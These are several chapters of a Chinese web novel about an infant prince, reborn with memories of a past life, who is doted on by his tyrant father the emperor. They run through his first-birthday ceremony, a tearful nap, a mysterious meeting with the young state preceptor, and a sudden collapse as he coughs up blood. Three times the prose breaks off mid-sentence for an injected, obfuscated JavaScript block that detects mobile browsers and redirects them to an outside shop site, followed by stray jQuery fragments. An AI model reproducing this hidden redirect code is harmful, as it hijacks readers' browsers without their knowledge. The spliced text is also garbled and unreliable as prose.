要知道,燕令雪没出生前,燕瑾才是燕决明最看重的孩子,他能让燕决明多看两眼,就已经很不同寻常了,故而这人天天在他们面前端出一副兄长的架势。
燕和君没忍住吐了吐舌头,真恶心。
燕瑾没搭理燕和君,目光死死盯着燕令雪的方向,不过七岁大小的孩子,目光隐隐透露出一丝戾气,燕和君笑容一僵,他被燕瑾的反应吓到了,讪笑着往旁边挪了挪位置。
算了,不惹这个怪家伙了。
相较于两人的争锋相对,张皇后和徐贵妃之间的交谈倒是平和,这里人多眼杂,说多错多,谈话间难免有些拘谨,但无论怎么聊,话题仍旧是忍不住向燕令雪身上扯。
张皇后:“有段时间不见了,七皇子长得愈加漂亮了。”
徐贵妃喝两口茶,也跟着笑:“是啊,也不怪陛下这么喜欢七皇子。”
两人嘴上这么说,心里还是想不通,周太后喜欢七皇子没什么好奇怪的,太后喜欢小孩子,宫里的皇子太后每个都爱,只是陛下的态度让她们心里惴惴不安。
“本宫也很喜欢七殿下,只可惜陛下不肯割爱。”张皇后低声说:“说到底,孩子没有母亲总归是不好的。”
说得冠冕堂皇,实际上是怕皇帝对燕令雪感情越来越深,可她们也只敢提几句,燕决明不同意,她们便也毫无他法,这后宫的女人可是知晓当年九溪台一夜之间是如何血流成河的,到现在那血都没清干净。
因此宫里的妃子,包括皇后在内,都有些怕燕决明。
俞妃突然插话:“有什么不好的,陛下明摆着偏心七殿下,你们为什么存心上赶着找不痛快,皇后娘娘膝下已有两个孩子,再养一个定然不妥,陛下怎么可能同意。”
俞妃性格直来直往,见不得人弯弯绕绕,“你们聊了这么半天,不就是担心七皇子的出生影响自家孩子的地位吗?”
说得好听些,俞妃这叫纯真,说得难听点,就是情商低,脑子不好使。
一通话下来,搞得张皇后尴尬不已。
底下暗流涌动,但和燕令雪没关系,他正窝在太后怀里吃点心。
周太后抱着怀里的奶团子,有些发愣,她难得主动地朝燕决明搭话,“这孩子,和你小时候长得一模一样。”
燕决明一顿,他自然不清楚自己幼时到底是什么模样,于是很自然地接了句,“那朕小时候还挺可爱。”
一句话,把两个人都夸了进去。
燕令雪觉得他爹有时候挺幽默的。
周太后没好气地斜了他一眼,“哀家没夸你。”
燕令雪一听,顿时急了,什么意思,是觉得他不可爱吗?
小孩抓着周太后的衣服站起来,表情认真地指了指自己,“可爱…
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822680|211192||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
…可爱!”
周太后颇为惊奇地抱住他,“好,我们小七可爱,陛下不可爱,哎呀,这才多大,说话这么清楚,还能听懂哀家的话。”
她喜欢小孩,燕令雪又长得漂亮,玉雪团子似的,见到她也不怕,只是笑,现在看着这么个小团子一本正经地说自己可爱,周太后忍俊不禁,“是个聪明孩子。”
燕令雪听到周太后夸自己,扬着头一脸得意。
燕决明恶趣味上来了,故意逗他,“皇祖母骗你的。”
燕令雪:“?”
他不高兴了,小嘴一瘪又去抱周太后,眼眶都红了,可怜得不行。
周太后一向心疼孩子,她安慰地摸摸燕令雪小脑袋瓜,又没好气地朝燕决明骂道:“你个大人怎么好意思欺负小孩的?”
燕决明挑了挑眉,“母后说得是,儿臣知错。”
周太后听到这声母后,猛地意识到,今天是自燕决明登基以来,她第一次同对方正常说话。
周太后说不上来心里是什么滋味,最终叹了口气,“这孩子你既然喜欢,便好生养着,莫要像你父皇那样。”
先帝昏庸无道,在养孩子方面还不如燕决明,起码燕决明只是不管孩子,而先帝对皇子极为苛刻,动辄打骂,最严重的那次,曾经失手打死过一个皇子。
因为先皇的缘故,后宫各派系争端不断,皇子间更是视双方为仇敌,所以才有了后来那场惨烈的夺嫡之争。
燕决明:“儿臣知晓。”
周太后虽有意疏远燕决明,燕决明却没觉得丢面子或不满,对待周太后还是很敬重的。
燕令雪心向着燕决明,他爹虽然不在乎,燕令雪却替他爹觉得委屈。
当初那个境况,燕决明如果不杀了其他皇子,剩下的几个皇子也会将燕决明除之后快。
可是周太后也没错,她只是心有芥蒂,既做不到完全不在乎燕决明,又做不到假装无事发生。
燕令雪难受得厉害,小孩子心理承受能力很差,他只是想想就替燕决明伤心,可大家都没有错。
“爹爹抱。”燕令雪哄了哄周太后,便立刻重新投入他爹的怀抱,他朝燕决明张开双手,燕决明熟练将他抱进怀里,小孩子一脑袋埋进他的胸口,两只小爪子揪着他胸口的衣领,轻轻蹭了蹭,情绪似乎有些低落。
周太后轻笑:“这孩子还挺依赖你。”
她不过抱了一会儿,燕令雪就着急地想重新回到燕决明身上,这说明平日里大部分时间照顾都是燕决明亲自照顾燕令雪,而不是侍女。
周太后愈发觉得惊奇。
到这一步了,周太后仍旧觉得有些不可置信,大概是燕决明做的那些事太过残暴不仁,如今骤然变得温柔起来,反倒是让人不适应了。
真是怪了。
燕决明:“太黏人了也不好。”
嘴上这么说着,燕决明感受到怀里雪团子不开心的情绪,仍旧耐心地拍着对方的背哄慰着:“怎么不高兴?”
燕令雪眨巴着眼睛,他想好了,太后和燕决明的关系不好弥补也无所谓。
反正他爱他爹就好了,以后无论发生什么,他都只会向着燕决明,就算燕决明是暴君也好,是反派也好,他也当个反派陪着他爹就是了。
燕决明说完这话,就看见怀里的小孩朝他笑了笑,燕令雪水润的瞳孔里倒映出他的身影,就好像他满心满眼只有燕决明一个人,小孩子很认真地对他说:“小七……喜欢爹爹。”
18. 坏爹爹
小团子软乎乎的手抓着燕决明的手指不放,表情一本正经又认真,燕决明垂眸望着他,心脏酸软一片,怎么能这么乖。
燕决明恨不得把世界上最好的东西都给这个孩子,这是他以往从未体会过情感,他看着燕令雪,看着怀里幼小脆弱的小孩,原本表情淡然的君王眼底,漾出几分不太明显的笑意。
燕决明轻轻捏了捏燕令雪柔软的脸蛋,目光对上那双黑亮的眼睛,他的手微微一顿,随后不太好意思般,低下头,轻声对燕令雪说:“爹爹也喜欢小七。”
他不擅长表达感情,也不喜欢任何人在他面前表露出过于矫情的情感。
但面对燕令雪,燕决明又是另一副态度了。
这是他亲自生下的孩子,真正和他血脉相连骨血一体的孩子,从燕令雪出生那刻起,就注定了燕令雪将会是所有人里最特殊的那个。
燕令雪没料到他爹会回应自己,嘴里哇地一声,脑袋害羞地埋在他爹胸口不动了。
周太后失笑,燕令雪这才多大,说出的话倒是戳人。
等在场的人依次给燕令雪送完祝福,李德旺又开始念那一长串的礼单,一瞬间,燕令雪从分文没有的穷光蛋,变成了超级富豪。
他爹送的最多,什么金银绸缎,珍宝文玩,府邸器物,还有异国的奇珍异宝,通通赏了一堆,送的礼比在场所有人加起来的还要多四五倍。
念到后面,李德旺已经有些气竭了。
李德旺越念,下面坐着的人笑得越勉强,俞妃没忍住暗自嘀咕,“陛下真是偏心,连今年南昭国新进的迦南香都就这么全送给了七殿下,他个小孩子用得着吗?”
张皇后深吸一口气,陛下哪里管这些东西七皇子用不用得上,恐怕皇帝只是想把全世界最宝贝的玩意全赠给七皇子。
张皇后忍不住冷笑,七皇子把这些宝贝扔水里,陛下怕不是都得夸七皇子扔得有力。
燕决明偏心到这种地步,就是明晃晃告诉后宫所有人,七皇子对他而言是特别的。
谢若鹤忍不住跟刘其显吐槽,“我就知道陛下改不了这个毛病,都说了低调点低调点,你看看,又忍不住了。”
刘其显见怪不怪:“正常,陛下性格一向如此,我都怕陛下等会儿一时兴起,直接宣布封七皇子为太子呢。”
谢若鹤:“啧,他肯定想。”
只是人有了软肋,便会有顾虑,燕决明想是想,可如今的情形,他也知晓立七皇子为太子,对七皇子没有半分好处。
且不说朝臣不服,荼兰,南昭,安澜三国都对大周这块肥肉虎视眈眈,谁都不清楚这宫里有没有“鬼”,这种情况下,燕决明也只会忍着。
燕令雪一朝暴富,还没回过神,便被翠荷抱起,他茫然地被抱到软垫上,身旁是各种器物。
有刀剑,书经,金银珠宝等等。
刀剑都是木质的,只是装饰品,不会伤到燕令雪,燕令雪疑惑地看向他爹,却发现周围的所有人都看着他。
翠荷低声哄道:“小殿下喜欢什么,就拿什么,都可以抓呀。”
燕令雪懂了,抓周嘛。
他虽有上一世的记忆,可依旧是小孩脑,骤然从燕决明怀里离开,燕令雪只觉得不安,小孩子疑惑地嗯了一声,转身摇摇晃晃地站起来,一把扑到了燕决明的腿上,抓着帝王的衣摆,仰着脑袋,软声道:“抓爹爹…”
谢若鹤哈哈一笑,七皇子还真是聪明,一上来就抓住了全大周最尊贵的男人。
周太后哎了一声,“他还真是黏你。”
这才离开燕决明一会儿功夫,就又要燕决明抱。
燕决明勾了勾唇:“小黏人精,不准抓爹爹。”
燕决明不信这些,他不认为一个孩子的命运会被些器物影响,可他已经开始期待燕令雪的未来,燕决明重新将燕令雪抱回软垫,“抓你喜欢的。”
燕令雪都不喜欢,他提不起兴趣,小脑袋晃了一圈,一个都入不了他的眼。
燕令雪胡乱抓了个玉章,那玉章入手温润捏起来特别舒服。
燕令雪团吧团吧将玉章拿到怀里,原本掉线的智商突然重新上线,他看了看手里的小玉章,脑海里划过一道不好的猜测,这还不会是传国玉玺之类的东西吧。
应该不会。
燕令雪想,都是电视剧虚构,他应该不至于这么倒霉,上来抓个大的,再说了这种东西,应该不会出现在抓周礼上吧。
他看向燕决明,而周围的所有人也在看皇帝的脸色。
大殿内针落可闻,宫人们面面相觑,谢若鹤嘿了一声。
挺好,一手抓皇帝,一手抓玉玺,他们七殿下还真是一个都不放过。
全天下象征权势的人和物,都被他抓了个遍。
周太后有些忧心,这小团子真是会抓,抓了个大麻烦过来。
然而出乎所有人意料的是,平日多疑冷漠的帝王在这时突然笑出了声。
他并不介意燕令雪到底抓到了什么,可看到燕令雪拿起玉玺的那刻,仍旧是打心底觉得愉悦。
他燕决明亲自生的孩子,未来理应登上皇位,名正言顺地继承大统。
张皇后的脸色愈加难看,燕瑾思绪杂乱,若是抓周抓到玉玺的不是燕令雪,而是别的皇子,父皇还会像这样开心吗?
答案是否定的。
燕决明只会对那个孩子心生芥蒂。
只有燕令雪……
只有燕令雪是不一样的。
燕瑾神色晦暗,他一刻都不愿在这里多待,他看着燕令雪那道小小的身影,心中的涌起无限地不甘。
凭什么他出生就能拥有一切。
若不是燕令雪年纪尚小,他父皇是不是还想当场立他为太子?
在场众人神色各异,张皇后和其他嫔妃勉为其难地说了些吉利话,各自有了新的心思。
——
转眼又是一月,小孩子长得快,学东西也快,周岁宴那点插曲丝毫没有影响到燕令雪的咸鱼生活,他走路越来越稳了,说话依旧不大顺溜,嘴里时不时叽哩哇啦地乱叫。
燕决明有意让燕令雪自己一个人午睡,不然等燕令雪再大些,这个习惯恐怕更难纠正了。
中午,燕决明把燕令雪哄睡后,第一次没有留下陪着燕令雪。
龙床的小团子手里抓着毛绒绒的小毯子,半张脸都埋进毯子里,睡得正香。
李德旺见燕决明要走,忍不住压低声音道:“陛下不留下来陪着小殿下吗?”
燕决明冷着张脸,“朕总不能天天哄他睡觉。”
这是要尝试让小殿下一个人睡的意思了。
李德旺:“万一小殿下等会儿醒来,没见到陛下,恐怕又要哭。”
燕决明:“让他哭,不准抱过来找朕,朕有要事要忙。”
燕令雪若是只要人哄睡,燕决明不会狠下心离开,只是这小孩完全离不得他,非要燕决明陪着他才能睡,燕决明一走,没一会儿就要醒。
他是个皇帝,没那么多时间陪着燕令雪,只能想办法让燕令雪能自主睡觉。
燕决明去了议事殿,李德旺面上应好,心下却有些发愁,陛下嘴上这么说,但未必真这么想,到时候小殿下中途醒了哭个不停,他是找还是不找。
燕令雪大部分时间都很乖,也很好带,给他个新奇玩意,他一个人能玩一整天。
唯独经常闹觉,哭闹起来除了燕决明谁也不管用。
李德旺只能祈求他们小殿下能一觉睡到陛下回来,但这种可能性极低,若燕决明不在燕令雪身边陪着他,燕令雪十分容易惊醒。
李德旺屏住呼吸小心翼翼,整个甘泉宫都安静如鸡,生怕小殿下被吵醒。
下一秒,李德旺感受到不对,他猛地抬头和床上坐起的小孩正好对视,小孩满脸迷茫,他拽着小
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822681|211192||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
毯子,看向一旁空荡荡的床,大脑还没反应过来。
李德旺露出一道谄媚的笑,“小殿下,现在时候还早,咱们再睡会儿好不好。”
燕令雪无措地眨巴了下眼睛,软声问道:“爹爹呢?”
李德旺笑容僵硬,硬着头皮解释道:“陛下在议事殿,等小殿下睡醒就能看见陛下了。”
“爹爹不在....”燕令雪后知后觉,他看向空荡荡的甘泉宫,心里涌上一阵不安,这地方太大了,燕决明一走,整个宫殿都变得无比恐怖,燕令雪忍了不到三秒,眼泪吧嗒一下从眼眶中滚落,“找爹爹,旺旺抱,找爹爹。”
小孩子一边哭一边朝李德旺张开双臂,李德旺连忙把这小祖宗抱起来,想到陛下的嘱托,李德旺哄道:“陛下在忙,过会儿奴才再陪小殿下去找陛下,好不好?”
燕令雪摇摇头,“不要,不要。”
他小声地啜泣着,燕令雪很想睡觉,但燕决明不在身边,燕令雪怎么样都睡得不安心。
燕令雪难受得厉害,他不要李德旺抱他了,两只手抗拒地推开李德旺,李德旺生怕弄伤了他,刚把人重新放回床上。
燕令雪立马抓着床沿边缘,光着脚试探地踩向地面,这床对他来说太高了,但他为了去找燕决明,当着李德旺的面险些一头栽下去。
李德旺吓得魂飞魄散,伸手想去抱他,燕令雪不要他抱,他知道今天李德旺不会带他去找燕决明,那他自己去找。
燕令雪抓着自己的小毯子,躲开李德旺抓他的手,直直往殿外跑。
李德旺两眼一黑差点昏过去, “小殿下,把鞋子穿上,奴才带你去找陛下。”
燕令雪哒哒地往外跑,一边跑一边擦眼泪,他还小跑不过李德旺。
李德旺抓着人也不敢用力,小孩子柔软得很,稍微用点力皮肤就得留个红印子,他哪敢动啊,只是低声道:“奴才的错,奴才马上去带小殿下找陛下。”
他替燕令雪穿好鞋,又命人打了温水替燕令雪擦脸,燕令雪不肯,嚷着要李德旺带他去找燕决明。
李德旺连连称是,燕令雪眼泪掉个不停,心里觉得自己幼稚,可他眼下不过是有上一世的记忆,灵魂和身体都和小孩子无异,燕令雪在心里安慰自己不哭,闷声擦着眼泪,小孩抽抽噎噎的,努力忍着眼泪,可怜得不行。
燕决明不放心地回到甘泉宫,视线正好对上了燕令雪红彤彤的眼睛,尽管燕决明早有预料,但真正看到燕令雪哭的时候,又心软了。
燕令雪看到他,先是一愣,随后嚎啕大哭,他哇地一声抱着燕决明的腿不放,你个坏人,怎么能把小孩子一个人丢在宫里。
明明身边有一堆人服侍,可他还是觉得燕决明不在,他就是一个人了。
燕决明是他在这个世界唯一的依靠,燕令雪做不到,也不想和他分开。
至少他还小的时候做不到。
他还没习惯这里,书里把大周皇宫描述得很可怕,燕令雪潜意识里,一直很没有安全感。
燕决明弯腰托住他,燕令雪小小的脸哭得乱七八糟,睫毛濡湿,眼睛一眨眼泪像断了线的珠子吧嗒吧嗒往下掉。
他手上还抓着那件小毯子不放,幼小的身体抽噎着喊他,“爹爹……”
燕决明当即就后悔了,他哪能想到燕令雪能哭成这样,往常燕令雪见不着他,也只是小声哭一会儿。
“不哭了。”燕决明刚才还硬起来的心,轻而易举地溃散了,他十分没有原则地想,大不了以后自己处理政务时也将燕令雪带上。
理智告诉他这有些不妥,更何况谢若鹤前些天还嘱咐他不要太溺爱燕令雪。
但他的小七还是个孩子……
燕令雪埋在燕决明的颈项,孩子温热的身躯紧紧搂着他,他小声向燕决明哭诉,“坏爹爹。”
燕决明垂眸,轻轻拍着燕令雪的背,哄道:“嗯,坏爹爹。”
19. 吐血
燕决明拍着他的背,不过几息,方才还哭闹的孩子顿时安静下来。
燕令雪揉了揉眼睛,熟悉的龙涎香将他包裹,燕令雪感到前所未有的安心,不多时便在燕决明怀里睡了过去。
燕决明抱着怀里的小孩,没再放手。李德旺松了口气,他想过燕觉明会回来,没想到他回来得这么快。
他就知道陛下到底是心疼小殿下?
睡梦中,燕令雪死死地抓住燕决明的衣服,似乎生怕一觉醒来又剩他一个人。
燕决明轻轻摸着小孩的侧脸,过分脆弱的触感,又让他收回了手。
燕令雪这么一闹,燕决明之后再也没敢在他睡觉的时候离开。
燕令雪醒来后觉得不好意思,不过一码归一码,他睡觉还是要燕决明守着。
大不了其他时间他自己一个人玩嘛。
清醒时没看到燕决明,和睡一半爬起来没看见燕决明的感觉是不一样的。
前者会让燕令雪觉得失落,后者会让燕令雪觉得害怕,就好像他又被人抛下了一样。
“小殿下在想什么?小鱼都跑掉了哦。”翠荷笑容温柔地替燕令雪擦了擦汗,燕令雪回过神,小池塘那几只漂亮的小鱼甩着金灿灿的尾巴游走了。
燕令雪可惜地啊了一声,他拍拍翠荷示意对方把自己放下来。
他要自己走呀。
燕决明和旺旺不在,他自己一个人玩也会很乖的。
皇宫很大,他还有很多地方没玩过,燕令雪领着一堆人胡乱逛着,他伸手指着南边最高的那座阁楼,示意自己要去那里。
那座楼实在是太高了,高得有些突兀,燕令雪看了几次,终于没忍住还是想去看看。
翠荷看着他指的方向,“那边是聆天司,小殿下想去看看吗?”
聆天司?
燕令雪的小孩脑袋努力思考,这不是国师住的地方吗?
燕令雪赶忙点头,去,当然要去,不然国师后面就要为主角所用了,他当然得想办法替他爹稳住国师。
翠荷见他这么激动,也猜到是因为聆天司太过显眼,“小殿下没见过这么高的楼对不对?听说到了晚上,站在聆天司的楼顶,手还能碰到星星呢。”
整个宫里,没有燕令雪不能去的地方,也没人敢拦甘泉宫的人。
聆天司是国师住处,国师又要靠星象推演万事,聆天司的楼自然修得很高,毕竟这样更方便看星象。
但伸手能碰着星星就有些夸张了。
聆天司没什么人,门口就两个侍卫守着,两人都认识翠荷,知道她是甘泉宫的大宫女,看翠荷怀里抱着个玉雪般小娃娃,侍卫们一下就猜到了燕令雪的身份,纷纷朝他行礼。
燕令雪伸出手向他们打招呼,你们好呀。
翠荷解释了一下情况,“小殿下想去聆天司上面看看,烦请通禀国师一声。”
侍卫点点头,翠荷抱着燕令雪进去,她也没来过聆天司,一进门发现里面比想象中的还要大,木质的楼梯蜿蜒而上,最顶上延伸出无数用细线吊着的木牌,木牌相撞叮当作响。
墙壁两侧放着各种式盘和书籍,还有一些摆放很奇怪的木条,燕令雪不认识这些玩意,不由得好奇地多看了两眼。
玄关诡谲之感扑面而来,燕令雪有些期待,到了顶楼,陈设便简单了不少。
顶楼成圆弧状,四周都是窗户,阳光通过花窗斜斜照射到屋内,屋内摆着些书架,靠北边的窗户放着张床,说是顶楼,更像是一间小房间。
燕令雪伸出手好奇地摸了摸摆在书架上的龟壳,突然察觉到不对。
他方才明明还在翠荷怀里。
燕令雪一回头,周围空无一人,安静的只能听见他自己呼吸声,就好像全世界只剩下他一人在这里。
燕令雪吓了一跳,转头想离开这里,迎面撞到了某个东西,梅花的冷香扑面而来,他还小,平衡感不是很好,一屁股坐到了地上。
不痛,可这并不妨碍燕令雪想哭。
“哪里来的小汤圆?”一道噙着笑的声音传进燕令雪耳中,燕令雪仰着脑袋,浑圆的眼睛迷茫地看着站在他面前的孩子。
那孩子看着不大,举手投足间却处处是不符合年龄的成熟感,对方穿着件白色狐裘,面色苍白,他似笑非笑地看着燕令雪,“哭什么?迷路了?”
燕令雪会说的词比较少,他小小一只坐在地上,仰头看着少年,愣愣地点点头。
少年五官稚嫩,唇红齿白眉目清隽,看着挺好相处的,燕令雪的警惕心稍微下降了一点,他想问对方的名字,但他不会说名字这个词,只能咿呀地指了指少年。
对方伸手将燕令雪从地上扶起来,见燕令雪指了自己半天,居然明白了他的意思,“我叫何阙。”
何阙……
这不是国师的名字吗?
国师现在这么小吗?
何阙盯着面前玉雪可爱的汤圆,没忍住伸手捏了捏燕令雪的脸,“唔,手感真好,我送你出去。”
出去?
燕令雪以为何阙准备把他送出聆天司,谁料他眨了眨眼睛的功夫,面前的何阙突然消失不见,周围忽而有了声音。
“小殿下!”翠荷一把将燕令雪搂到怀里,刚才她抱着燕令雪走得好好的,不过眨眼的功夫,怀里的孩子突然消失不见,翠荷吓得不行,慌忙找了一圈,发现燕令雪竟然提前自己跑到了楼顶。
翠荷还以为是自己走神出了岔子。
她抓着燕令雪上上下下地打量,确认对方没有受伤才松了口气。
诡异的一幕让燕令雪有些发愣,他猜是何阙用了什么奇门异术的缘故,而他不小心误闯进来。
因为没受伤,燕令雪不觉得害怕,他有些兴奋地想将这件事告诉燕决明。
“翠翠。”燕令雪示意自己没事,又指了指甘泉宫的方向,“找爹爹呀。”
“殿下想回去吗?”翠荷也不想在这里多待,可能是刚刚燕令雪突然不见把她吓到了,翠荷总觉得这地方有古怪。
她领着燕令雪回到甘泉宫,燕决明正好回来,燕令雪见到他爹,眼睛一亮,一骨碌地扑到了燕决明的怀里,“爹爹!”
燕决明轻笑:“黏人精,又去哪里玩了?”
他看向翠荷。
翠荷:“去了趟聆天司。”
燕决明听到聆天司三个字,敛了笑,淡淡地瞥了翠荷一眼,“这种地方,以后少带他过去。”
为什么?
燕令雪不明所以地抓着他爹的头发。
翠荷吓得连忙跪在地上,“奴婢知错。”
宫里的人不大知道聆天司的情况,燕决明作为皇帝知晓不少其中秘辛,那地方死过不少人,当年武昭帝能一统大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822682|211192||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
周,聆天司出了不少力。
燕决明没为难翠荷,摆摆手让人起来。
看这个情况,他爹对聆天司应该挺了解的。
燕令雪不高兴地呜了一声,燕决明哼笑地点了点他的鼻尖,“又生什么气,去吃饭,你今天早上就没吃几口。”
燕令雪胃口比猫还小,每天吃不了几口就不吃了。
他不想吃饭,主要是燕令雪这个年纪能吃的东西太少了,每天都是那几样。
燕决明可不管这些,他生怕燕令雪饿出毛病来了,抱着人喂了几口肉糜,燕令雪推了推他的手,示意自己不喜欢。
燕决明无法,只能让人上了些枣泥糕,莲子羹一类的甜食,燕令雪这才勉为其难赏脸吃了几口,一小碗甜汤喝了不到一半,燕令雪就饱了。
燕决明轻啧一声,“吃这么少,小心你以后长不高。”
燕令雪不理他,假装自己没听见,又要去找李德旺玩。
李德旺领着他玩了一会儿,消了消食,燕决明一把将小孩抱起,燕令雪扑腾着脚,疑惑地啊了几声。
李德旺笑道:“小殿下该午休了。”
自从燕令雪上次在燕决明眼前大哭一通后,燕决明再也不敢让燕令雪一个人睡,他今日还有折子没批完,便索性把小孩抱到了御书房。
燕令雪现在还不太困,李德旺就把他装玩具的小木盒子拿了过来。
燕令雪坐在软垫上,将盒子里乱七八糟的宝石和珠子倒了出来,笨手笨脚将他们摆在地板上。
燕决明时不时看他一眼,小孩埋着脑袋,玩得十分投入,只留给燕决明一个毛茸茸的后脑勺。
燕决明搞不懂这些东西有什么好玩的。
期间谢若鹤来了来了一趟,这人最近倒是清闲了不少,时不时要过来骚扰一番燕令雪。
但燕令雪不理他,谢若鹤自讨没趣,转眼见燕决明桌上堆着一堆奏折,笑道:“陛下如此勤勉,实乃我大周之幸。”
这些折子都是他们内阁连夜票拟以后,再送过来给燕决明朱批的,前些时日谢若鹤有多难,现在的燕决明就有多累,他自然得好好嘚瑟一下。
风水轮流转嘛。
“谢若鹤,你要是很闲,朕不介意再给你下道旨意。”
谢若鹤立刻闭嘴。
燕令雪抓着手里的宝石,忽然觉得身体不太舒服,但又具体说不上是哪里不舒服,他以为自己是困了,捏着手里的石头刚想喊燕决明,喉咙里却泛起一阵痒意。
他捂着嘴没忍住咳嗽了一声。
小孩子声音不大,但那声咳嗽立马引得谢若鹤和燕决明同时抬头。
血腥味在御书房内扩散。
吧嗒,燕决明手里的毛笔掉到了地上,这位年轻的暴君表情空白地看向燕令雪。
时间像是静止了一般,谢若鹤方才还带着笑意的脸上还有些呆滞,他望着坐在不远处的燕令雪,小小的团子看着掌心的鲜血,一脸茫然地抬头望向他们。
粘稠猩红的血糊了小孩子小半张脸。
燕令雪有些手足无措,在场的三人没有一个人反应过来,直到燕令雪又咳嗽了一声,从嘴里再次呕出一大摊鲜血,身体摇晃着向后倒去。
燕决明瞳孔一缩。
陷入黑暗的最后一秒,熟悉的龙涎香笼罩了燕令雪,他闭上了眼睛,彻底晕了过去。